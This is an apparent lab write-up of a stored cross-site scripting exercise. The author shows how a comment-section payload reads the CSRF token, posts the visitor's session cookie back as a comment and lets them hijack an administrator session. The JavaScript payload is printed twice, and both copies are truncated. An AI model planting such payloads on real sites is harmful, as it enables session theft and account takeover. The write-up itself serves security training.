EXPLOITING STORED XSS TO STEAL COOKIES

In this lab, we are required to exploit a STORED XSS vulnerability on the comment section of the lab to exfiltrate the users cookies which we can then escalate to a SESSION HIJACKING attack.

The traditional method would have been to set up a payload that automatically send the user cookie to our custom site, but the way the lab was set up , we are to use the Burp Collaborator , but since i don't have a Burp Suite Pro subscription i couldn't access the Burp Suite Pro , looked like this method wasn't going to work for me.

There is a more manual way to do it though , which involves chaining it with an automated POST request that handles the anti-CSRF protection which allows us to trigger a form submission on the comment section that posts the cookie tokens as a comment on the page …

Inspecting the page with Burp Suite , I was able to see the structure of the code.

First, inspecting the form revealed a hidden anti-CSRF token input field. I was able to extract this by manipulating the DOM element to access the name of the form and extract the value, I tried this on the console section in the Browser devtools and i confirmed i was able to get the csrf token with that particular code.

Next thing was to inspect the request sent to the server (in order to replicate it correctly), I confirmed the order for the particular form and i was able to replicate the same thing in the payload .

document.addEventListener('DOMContentLoaded', function() {

    var token = document.getElementsByName('csrf')[0].value ;

    var data = new FormData()
    data.append('csrf', token)
    data.append('postId', 3)

    data.append('comment', document.cookie)
    data.append('name', 'Hacked')
    data.append('email', 'hacked@example.com')
    data.append('website', 'https://hacked.com')

    fetch('/post/comment', {
        method: 'POST',
        mode: 'no-cors',
        body: data
    });

document.addEventListener('DOMContentLoaded', function() {

    var token = document.getElementsByName('csrf')[0].value ;

    var data = new FormData()
    data.append('csrf', token)
    data.append('postId', 3)

    data.append('comment', document.cookie)
    data.append('name', 'Hacked')
    data.append('email', 'hacked@example.com')
    data.append('website', 'https://hacked.com')

    fetch('/post/comment', {
        method: 'POST',
        mode: 'no-cors',
        body: data
    });

Since we already got the payload , the next thing is to store it on the targeted endpoint as this is a stored XSS vulnerability, I proceeded to send it in the targeted comment section and delivered the payload as a comment.

After this, we expect a user to visit the page and whenever they do the payload triggers and posts the cookie as a comment on any of the specified post. The lab simulated all these steps for us.

Going back to the comment section , we are able to see a user cookie , this indicates that our exploit was successful.

Using the ex-filtrated session cookie to hijack the active session resulted in immediate privilege escalation to the administrator account.

On a real world setting this would be a CRITICAL FINDING…

This is a simulated scenario of how a Cross Site Scripting attack can be used to compromise a system in a real world scenario…

PS: Although the comment section in this lab was intentionally made to be vulnerable so as to demonstrate the attack , In production environments, finding an un-encoded endpoint that executes arbitrary scripts without WAF filtering or CSP restrictions is significantly more difficult. This is why there are several payload delivery method , but that is beyond the scope of this writing.